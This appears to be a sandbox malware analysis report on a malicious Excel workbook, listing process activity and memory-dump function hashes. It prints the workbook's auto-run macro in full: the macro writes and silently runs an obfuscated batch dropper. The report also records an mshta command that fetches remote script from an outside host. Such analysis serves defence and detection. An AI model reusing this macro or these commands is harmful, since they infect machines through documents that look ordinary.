                                                                                      Commandline:taskkill /f /im WINWORD.EXE
                                                                                      Imagebase:0xce0000
                                                                                      File size:74752 bytes
                                                                                      MD5 hash:15E2E0ACD891510C6268CB8899F2A1A1
                                                                                      Has elevated privileges:true
                                                                                      Has administrator privileges:true
                                                                                      Programmed in:C, C++ or other language
                                                                                      Reputation:high

                                                                                      General

                                                                                      Target ID:9
                                                                                      Start time:11:39:22
                                                                                      Start date:16/08/2022
                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                      Wow64 process (32bit):false
                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                      Imagebase:0x7ff7c9170000
                                                                                      File size:625664 bytes
                                                                                      MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                      Has elevated privileges:true
                                                                                      Has administrator privileges:true
                                                                                      Programmed in:C, C++ or other language
                                                                                      Reputation:high

                                                                                      General

                                                                                      Target ID:10
                                                                                      Start time:11:39:22
                                                                                      Start date:16/08/2022
                                                                                      Path:C:\Windows\SysWOW64\mshta.exe
                                                                                      Wow64 process (32bit):true
                                                                                      Commandline:mshta http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Imagebase:0xc50000
                                                                                      File size:13312 bytes
                                                                                      MD5 hash:7083239CE743FDB68DFC933B7308E80A
                                                                                      Has elevated privileges:true
                                                                                      Has administrator privileges:true
                                                                                      Programmed in:C, C++ or other language
                                                                                      Reputation:high

                                                                                      Disassembly

                                                                                      Code Analysis

                                                                                      Call Graph

                                                                                      • Entrypoint
                                                                                      • Decryption Function
                                                                                      • Executed
                                                                                      • Not Executed
                                                                                      • Show Help
                                                                                      callgraph 9 Workbook_Open Environ:1

                                                                                      Module: EstaPastaDeTrabalho

                                                                                      Declaration
                                                                                      LineContent
                                                                                      1

                                                                                      Attribute VB_Name = "EstaPastaDeTrabalho"

                                                                                      2

                                                                                      Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"

                                                                                      3

                                                                                      Attribute VB_GlobalNameSpace = False

                                                                                      4

                                                                                      Attribute VB_Creatable = False

                                                                                      5

                                                                                      Attribute VB_PredeclaredId = True

                                                                                      6

                                                                                      Attribute VB_Exposed = True

                                                                                      7

                                                                                      Attribute VB_TemplateDerived = False

                                                                                      8

                                                                                      Attribute VB_Customizable = True

                                                                                      Non-Executed Functions

                                                                                      Subroutine

                                                                                      Workbook_OpenAPIs: 4, Strings: 12, Number of lines: 23, Relevance: 29.773

                                                                                      APIsMeta Information

                                                                                      Environ

                                                                                      Open

                                                                                      Shell$

                                                                                      vbLf

                                                                                      StringsDecrypted Strings
                                                                                      "Public"
                                                                                      "call getCmdPid.bat"
                                                                                      "set PID=%errorlevel%"
                                                                                      "call windowMode.bat -pid %PID% -mode hidden"
                                                                                      "cd C:\Users\Public"
                                                                                      "@echo off"
                                                                                      "Set ao8=TSkEhx6qZpCHJMOGRvfbn4wQaPBANVXWz8jcIKrtlYymiod3L2sU7eF105gu9D"
                                                                                      "cls"
                                                                                      "%ao8:~35,1%%ao8:~43,1%%ao8:~46,1% /%ao8:~35,1% %ao8:~50,1%%ao8:~39,1%%ao8:~24,1%%ao8:~38,1%%ao8:~39,1% /%ao8:~43,1%%ao8:~44,1%%ao8:~20,1% %ao8:~39,1%%ao8:~24,1%%ao8:~50,1%%ao8:~2,1%%ao8:~2,1%%ao8:~44,1%%ao8:~40,1%%ao8:~40,1% /%ao8:~18,1% /%ao8:~44,1%%ao8:~43,1% %ao8:~31,1%%ao8:~36,1%%ao8:~28,1%%ao8:~31,1%%ao8:~14,1%%ao8:~16,1%%ao8:~61,1%.%ao8:~3,1%%ao8:~30,1%%ao8:~3,1% & %ao8:~43,1%%ao8:~50,1%%ao8:~4,1%%ao8:~39,1%%ao8:~24,1% %ao8:~4,1%%ao8:~39,1%%ao8:~39,1%%ao8:~9,1%://%ao8:~18,1%%ao8:~24,1%%ao8:~35,1%%ao8:~53,1%%ao8:~5,1%%ao8:~39,1%%ao8:~38,1%%ao8:~24,1%%ao8:~46,1%%ao8:~53,1%.%ao8:~35,1%%ao8:~45,1%%ao8:~43,1%.%ao8:~19,1%%ao8:~38,1%/%ao8:~22,1%%ao8:~9,1%-%ao8:~44,1%%ao8:~20,1%%ao8:~35,1%%ao8:~40,1%%ao8:~59,1%%ao8:~46,1%%ao8:~53,1%%ao8:~50,1%/%ao8:~35,1%%ao8:~53,1%%ao8:~38,1%%ao8:~39,1%%ao8:~44,1%%ao8:~18,1%%ao8:~44,1%%ao8:~35,1%%ao8:~24,1%%ao8:~39,1%%ao8:~53,1%%ao8:~50,1%/%ao8:~21,1%.%ao8:~39,1%%ao8:~5,1%%ao8:~39,1%"
                                                                                      " </ul>"
                                                                                      " </ul>"
                                                                                      "cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit"
                                                                                      LineInstructionMeta Information
                                                                                      9

                                                                                      Private Sub Workbook_Open()

                                                                                      10

                                                                                      Dim iStage as Integer

                                                                                      11

                                                                                      Dim iCounter as Integer

                                                                                      12

                                                                                      Dim iPage as Integer

                                                                                      13

                                                                                      Dim sFile as String

                                                                                      14

                                                                                      sFile = Environ("Public") & "\Outlook.bat"

                                                                                      Environ

                                                                                      16

                                                                                      Close

                                                                                      17

                                                                                      Open sFile For Output As # 1

                                                                                      Open

                                                                                      18

                                                                                      Print # 1, "call getCmdPid.bat"

                                                                                      19

                                                                                      Print # 1, "set PID=%errorlevel%"

                                                                                      20

                                                                                      Print # 1, "call windowMode.bat -pid %PID% -mode hidden"

                                                                                      21

                                                                                      Print # 1, "cd C:\Users\Public"

                                                                                      22

                                                                                      Print # 1, "@echo off"

                                                                                      23

                                                                                      Print # 1, "Set ao8=TSkEhx6qZpCHJMOGRvfbn4wQaPBANVXWz8jcIKrtlYymiod3L2sU7eF105gu9D"

                                                                                      24

                                                                                      Print # 1, "cls"

                                                                                      25

                                                                                      Print # 1, "%ao8:~35,1%%ao8:~43,1%%ao8:~46,1% /%ao8:~35,1% %ao8:~50,1%%ao8:~39,1%%ao8:~24,1%%ao8:~38,1%%ao8:~39,1% /%ao8:~43,1%%ao8:~44,1%%ao8:~20,1% %ao8:~39,1%%ao8:~24,1%%ao8:~50,1%%ao8:~2,1%%ao8:~2,1%%ao8:~44,1%%ao8:~40,1%%ao8:~40,1% /%ao8:~18,1% /%ao8:~44,1%%ao8:~43,1% %ao8:~31,1%%ao8:~36,1%%ao8:~28,1%%ao8:~31,1%%ao8:~14,1%%ao8:~16,1%%ao8:~61,1%.%ao8:~3,1%%ao8:~30,1%%ao8:~3,1% & %ao8:~43,1%%ao8:~50,1%%ao8:~4,1%%ao8:~39,1%%ao8:~24,1% %ao8:~4,1%%ao8:~39,1%%ao8:~39,1%%ao8:~9,1%://%ao8:~18,1%%ao8:~24,1%%ao8:~35,1%%ao8:~53,1%%ao8:~5,1%%ao8:~39,1%%ao8:~38,1%%ao8:~24,1%%ao8:~46,1%%ao8:~53,1%.%ao8:~35,1%%ao8:~45,1%%ao8:~43,1%.%ao8:~19,1%%ao8:~38,1%/%ao8:~22,1%%ao8:~9,1%-%ao8:~44,1%%ao8:~20,1%%ao8:~35,1%%ao8:~40,1%%ao8:~59,1%%ao8:~46,1%%ao8:~53,1%%ao8:~50,1%/%ao8:~35,1%%ao8:~53,1%%ao8:~38,1%%ao8:~39,1%%ao8:~44,1%%ao8:~18,1%%ao8:~44,1%%ao8:~35,1%%ao8:~24,1%%ao8:~39,1%%ao8:~53,1%%ao8:~50,1%/%ao8:~21,1%.%ao8:~39,1%%ao8:~5,1%%ao8:~39,1%"

                                                                                      30

                                                                                      For iCounter = 2 To iStage

                                                                                      31

                                                                                      Print # 1, " </ul>"

                                                                                      32

                                                                                      iStage = iStage - 1

                                                                                      33

                                                                                      Next iCounter

                                                                                      33

                                                                                      Shell$ "cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit" & vbLf, 0

                                                                                      Shell$

                                                                                      vbLf

                                                                                      40

                                                                                      Close

                                                                                      43

                                                                                      End Sub

                                                                                      Module: Planilha1

                                                                                      Declaration
                                                                                      LineContent
                                                                                      1

                                                                                      Attribute VB_Name = "Planilha1"

                                                                                      2

                                                                                      Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"

                                                                                      3

                                                                                      Attribute VB_GlobalNameSpace = False

                                                                                      4

                                                                                      Attribute VB_Creatable = False

                                                                                      5

                                                                                      Attribute VB_PredeclaredId = True

                                                                                      6

                                                                                      Attribute VB_Exposed = True

                                                                                      7

                                                                                      Attribute VB_TemplateDerived = False

                                                                                      8

                                                                                      Attribute VB_Customizable = True

                                                                                      Reset < >

                                                                                        Executed Functions

                                                                                        Function 081B0053 Relevance: 3.1, Instructions: 3131COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.551225219.00000000081B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 081B0000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_81b0000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 60450836cb167fc05fbd97afa779e5953e9ed594b66d573c0e25effe2394accc
                                                                                        • Instruction ID: b004b73f7c0cee0f2c413f449f2db7087c196e78a281f73b19e85c47a6024208
                                                                                        • Opcode Fuzzy Hash: 60450836cb167fc05fbd97afa779e5953e9ed594b66d573c0e25effe2394accc
                                                                                        • Instruction Fuzzy Hash: 9E330570A00300EFDB28CF59C895BEAB7E5EF88312F15455DEA1AAB291C771DC46CB61
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 08575800 Relevance: .4, Instructions: 448COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.553916531.0000000008570000.00000010.00000800.00020000.00000000.sdmp, Offset: 08570000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_8570000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 49fbc3bdb5e35265be27675cc098413b5ac88299427677971bb09aee115bf79c
                                                                                        • Instruction ID: 9046d02f12cc3451cbb67681d846596c3cb0bc2b22b495d3c7a2aab0d0bf6202
                                                                                        • Opcode Fuzzy Hash: 49fbc3bdb5e35265be27675cc098413b5ac88299427677971bb09aee115bf79c
                                                                                        • Instruction Fuzzy Hash: A9F1F3B1E04204DFDB14CF59D885BADB7E5BB84312F1988ADEE1A6B250E770AC41CB91
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 081B7B18 Relevance: .2, Instructions: 209COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.551225219.00000000081B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 081B0000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_81b0000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 99289cd77cb28acfed7f545ea40eaa3be5d060823eb50472f321d4dcf1afa800
                                                                                        • Instruction ID: bc084288009ff9107493c3d38d2f9477f636876adab2dc19006c25449bc6ecbd
                                                                                        • Opcode Fuzzy Hash: 99289cd77cb28acfed7f545ea40eaa3be5d060823eb50472f321d4dcf1afa800
                                                                                        • Instruction Fuzzy Hash: 2A81B0B0A04206DFCB19CF59C480AE9F7B6BF88742F15892DD6569B391C7B1EC41CBA1
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 081B4268 Relevance: .2, Instructions: 205COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.551225219.00000000081B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 081B0000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_81b0000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 75ea93a74a7da6b02875da471a5238d4bce9e85c3b18d737e0cadc220fdb4677
                                                                                        • Instruction ID: 9772fe908bb31d8786329eabb8f12ad2e2bacee486ef5db8db364ae17b992cd1
                                                                                        • Opcode Fuzzy Hash: 75ea93a74a7da6b02875da471a5238d4bce9e85c3b18d737e0cadc220fdb4677
                                                                                        • Instruction Fuzzy Hash: 2A6119B1A04210EFDB08CFECE4C07EDB7A5AF4C315F188559EA06A3253D771588187BA
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 08571A00 Relevance: .1, Instructions: 140COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.553916531.0000000008570000.00000010.00000800.00020000.00000000.sdmp, Offset: 08570000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_8570000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 6446ff9842c31cd08215628c4abb56a571d20ef841559b0a38fd4f2d2b3bf45c
                                                                                        • Instruction ID: 3807360c692ec181344f30aaed8bdba7a1d44d864d4ab80b9ffbd715f5c3d826
                                                                                        • Opcode Fuzzy Hash: 6446ff9842c31cd08215628c4abb56a571d20ef841559b0a38fd4f2d2b3bf45c
                                                                                        • Instruction Fuzzy Hash: 5141C1B1644601EFDB00CF59D880A69F7E9FF89321F19C599EB58AB391D270EC41CBA1
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 085754F7 Relevance: .1, Instructions: 122COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.553916531.0000000008570000.00000010.00000800.00020000.00000000.sdmp, Offset: 08570000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_8570000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: dd7d1ac0bac27a4b81a7fbec1fbff15baeb16e62017835159b1dafe305f935eb
                                                                                        • Instruction ID: 9d0ebcfbc9dd45d63deee117e33b607bf4ab354ec1f8e820722c20b4872c678a
                                                                                        • Opcode Fuzzy Hash: dd7d1ac0bac27a4b81a7fbec1fbff15baeb16e62017835159b1dafe305f935eb
                                                                                        • Instruction Fuzzy Hash: 1641E6B4A00304DFDB10CF99D8C0AA9B7F6FB48346F54C96DE61AAB251E770D845CB61
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 0857E800 Relevance: .1, Instructions: 98COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.553916531.0000000008570000.00000010.00000800.00020000.00000000.sdmp, Offset: 08570000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_8570000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: bd7d17a82134b3e1652c272ce221c8298943f917e2c481b9bf94f5ddbaa88c8d
                                                                                        • Instruction ID: bcf1c840d4f9a75dad72a7ff4d4ecad1b6460e363f96be9514b7a414c0f80d48
                                                                                        • Opcode Fuzzy Hash: bd7d17a82134b3e1652c272ce221c8298943f917e2c481b9bf94f5ddbaa88c8d
                                                                                        • Instruction Fuzzy Hash: F0312471604301DFEB14CF88D882B69B7D5FF49B25F048998EAA99B391C331EC11CB92
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 08571C71 Relevance: .1, Instructions: 84COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.553916531.0000000008570000.00000010.00000800.00020000.00000000.sdmp, Offset: 08570000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_8570000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: ed53803b35d484a328a2282d0ed2e5d805b941c5ffd6e1d1338179a617a8827b
                                                                                        • Instruction ID: 05c9b1aca985a0880bd43fe2dad9bc7ac6494e24bf796bce764180044f1fa195
                                                                                        • Opcode Fuzzy Hash: ed53803b35d484a328a2282d0ed2e5d805b941c5ffd6e1d1338179a617a8827b
                                                                                        • Instruction Fuzzy Hash: DA219AB07C0B10EBD720469DEC49F79B78DFB40247F10C4EAEE156B160D3A2C8028B95
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 08571C7A Relevance: .1, Instructions: 55COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.553916531.0000000008570000.00000010.00000800.00020000.00000000.sdmp, Offset: 08570000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_8570000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: b6a480341fccb30ae2cbfbabab000dcd86cabceee22ba35b44fa36f1d774b097
                                                                                        • Instruction ID: f912d957b0a0fc368b6b9af36f911d0a2657bb74bfa7de8ef60d94145fc61198
                                                                                        • Opcode Fuzzy Hash: b6a480341fccb30ae2cbfbabab000dcd86cabceee22ba35b44fa36f1d774b097
                                                                                        • Instruction Fuzzy Hash: 2101CBB2AC4F20EAC720429DF848FB87B8DFB90153F14C4E7ED19AB160D252CC028796
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 08576B44 Relevance: .0, Instructions: 24COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.553916531.0000000008570000.00000010.00000800.00020000.00000000.sdmp, Offset: 08570000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_8570000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 9124c35e94c79e6f2e06ba3640ed74dc4180b3b570764ffe31677653b1220e35
                                                                                        • Instruction ID: eb6ce4d1e4f5eeee8a94e92ffb2f132b4c274e1db94317642d3f7d7babd63d25
                                                                                        • Opcode Fuzzy Hash: 9124c35e94c79e6f2e06ba3640ed74dc4180b3b570764ffe31677653b1220e35
                                                                                        • Instruction Fuzzy Hash: BDE06D3250E3C65FC3438B64EC01384FF90EF53235F2846DBD8848A0A3D715546AD782
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 08576BB3 Relevance: .0, Instructions: 18COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.553916531.0000000008570000.00000010.00000800.00020000.00000000.sdmp, Offset: 08570000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_8570000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: b4a42ea9f41d70e14950c47d7321366198d4027636cedafc26921e65c3dd5a42
                                                                                        • Instruction ID: 7bd5864ca9be02edeab5e581caf3b20f510f570cdab0679a29a7f76b95b07ca6
                                                                                        • Opcode Fuzzy Hash: b4a42ea9f41d70e14950c47d7321366198d4027636cedafc26921e65c3dd5a42
                                                                                        • Instruction Fuzzy Hash: 40D0A93320D0A14E8A00E6ACBC840E8FFC4ED961B671886DFC4498B022E902C126A3C2
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 08574A7E Relevance: .0, Instructions: 11COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.553916531.0000000008570000.00000010.00000800.00020000.00000000.sdmp, Offset: 08570000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_8570000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: cc723fe7e08c171568af679a02070b6abdf79c805333b81d94873829257fc49c
                                                                                        • Instruction ID: e31c509665d27bb946b7d533d9fcb8999bd3f68379dc4da903680edbccc87c66
                                                                                        • Opcode Fuzzy Hash: cc723fe7e08c171568af679a02070b6abdf79c805333b81d94873829257fc49c
                                                                                        • Instruction Fuzzy Hash: 54D012B6909201DFC701CF5CD88088AFBF4FFA5210B598486A454CB322C331EE14CBA5
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 0857619F Relevance: .0, Instructions: 7COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.553916531.0000000008570000.00000010.00000800.00020000.00000000.sdmp, Offset: 08570000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_8570000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: b1d08f52a5d612958264af36c185ee72f60303b654084f64f37498b9b511515f
                                                                                        • Instruction ID: d618dd8c1d24ae52973f6e1858380ebcbe166c1f15d23a9834fbbbd15ef65d14
                                                                                        • Opcode Fuzzy Hash: b1d08f52a5d612958264af36c185ee72f60303b654084f64f37498b9b511515f
                                                                                        • Instruction Fuzzy Hash: 61B09239210A008F8711CB88D944886B3E4BFC8210B808945B569C7611CB24E9248BA1
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 085749B5 Relevance: .0, Instructions: 7COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.553916531.0000000008570000.00000010.00000800.00020000.00000000.sdmp, Offset: 08570000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_8570000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 40986ed8c3643b67a88cb196d955460d7b955915e28413abad4ef704bd65aaef
                                                                                        • Instruction ID: c54a3925fb19c31f7cd769ac101f75ddaf3988b774163b157b52102f9b2c7d2f
                                                                                        • Opcode Fuzzy Hash: 40986ed8c3643b67a88cb196d955460d7b955915e28413abad4ef704bd65aaef
                                                                                        • Instruction Fuzzy Hash: 50B092396102008B8710CB58D840886B3E4BF89210B808A45B565C3210D724E9148BA1
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 0ABF0FBF Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000003.336607183.000000000ABF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 0ABF0000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_3_abf0000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: dbaa41dc49d8cfb90fae6181bf62a1c8c8a9cc53683907e8189441df7059a680
                                                                                        • Instruction ID: 1c26045f5ff3f49aaee40a0aad1b856126b997c809a3a0039f0c40080a0c84ab
                                                                                        • Opcode Fuzzy Hash: dbaa41dc49d8cfb90fae6181bf62a1c8c8a9cc53683907e8189441df7059a680
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 0ABF0FB7 Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000003.336607183.000000000ABF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 0ABF0000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_3_abf0000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: dbaa41dc49d8cfb90fae6181bf62a1c8c8a9cc53683907e8189441df7059a680
                                                                                        • Instruction ID: 1c26045f5ff3f49aaee40a0aad1b856126b997c809a3a0039f0c40080a0c84ab
                                                                                        • Opcode Fuzzy Hash: dbaa41dc49d8cfb90fae6181bf62a1c8c8a9cc53683907e8189441df7059a680
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 0ABF0FAF Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000003.336607183.000000000ABF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 0ABF0000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_3_abf0000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: dbaa41dc49d8cfb90fae6181bf62a1c8c8a9cc53683907e8189441df7059a680
                                                                                        • Instruction ID: 1c26045f5ff3f49aaee40a0aad1b856126b997c809a3a0039f0c40080a0c84ab
                                                                                        • Opcode Fuzzy Hash: dbaa41dc49d8cfb90fae6181bf62a1c8c8a9cc53683907e8189441df7059a680
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 0ABF0FD7 Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000003.336607183.000000000ABF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 0ABF0000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_3_abf0000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: dbaa41dc49d8cfb90fae6181bf62a1c8c8a9cc53683907e8189441df7059a680
                                                                                        • Instruction ID: 1c26045f5ff3f49aaee40a0aad1b856126b997c809a3a0039f0c40080a0c84ab
                                                                                        • Opcode Fuzzy Hash: dbaa41dc49d8cfb90fae6181bf62a1c8c8a9cc53683907e8189441df7059a680
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 0ABF0FCF Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000003.336607183.000000000ABF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 0ABF0000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_3_abf0000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: dbaa41dc49d8cfb90fae6181bf62a1c8c8a9cc53683907e8189441df7059a680
                                                                                        • Instruction ID: 1c26045f5ff3f49aaee40a0aad1b856126b997c809a3a0039f0c40080a0c84ab
                                                                                        • Opcode Fuzzy Hash: dbaa41dc49d8cfb90fae6181bf62a1c8c8a9cc53683907e8189441df7059a680
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 0ABF0FC7 Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000003.336607183.000000000ABF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 0ABF0000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_3_abf0000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: dbaa41dc49d8cfb90fae6181bf62a1c8c8a9cc53683907e8189441df7059a680
                                                                                        • Instruction ID: 1c26045f5ff3f49aaee40a0aad1b856126b997c809a3a0039f0c40080a0c84ab
                                                                                        • Opcode Fuzzy Hash: dbaa41dc49d8cfb90fae6181bf62a1c8c8a9cc53683907e8189441df7059a680
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 0BDD0FD7 Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000003.346919853.000000000BDD0000.00000010.00000800.00020000.00000000.sdmp, Offset: 0BDD0000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_3_bdd0000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: c3a15be25e73e0af5cd098aeb9f1030a3306e00c055dd63b442d0747fe722849
                                                                                        • Instruction ID: 5c547d3b0615e8fe6dcf86628d2013328d289f1a8a99cdca914d23937af44e1e
